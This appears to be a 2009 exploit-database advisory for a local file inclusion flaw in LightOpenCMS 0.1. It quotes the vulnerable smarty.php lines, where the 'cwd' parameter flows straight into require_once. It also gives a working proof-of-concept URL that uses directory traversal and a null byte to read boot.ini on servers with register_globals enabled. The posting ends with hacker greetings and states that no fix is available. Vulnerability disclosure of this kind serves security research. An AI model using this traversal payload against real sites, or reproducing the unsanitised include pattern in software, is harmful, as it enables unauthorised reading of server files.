LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability

2009-06-24 20:30:23


bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://sourceforge.net/project/showfiles.php?group_id=251474

[smarty.php]
define("SMARTY_DIR", $cwd."/smarty/");
require_once(SMARTY_DIR."/Smarty.class.php");

PoC:
[php.ini] register_globals= On
http://localhost/locms/smarty.php?cwd=../../../../../../../../../../../../boot.ini%00

Greetz: YEnH4ckEr, str0ke and spanish hackers!

#

Fixes

No fixes

In order to submit a new fix you need to be registered.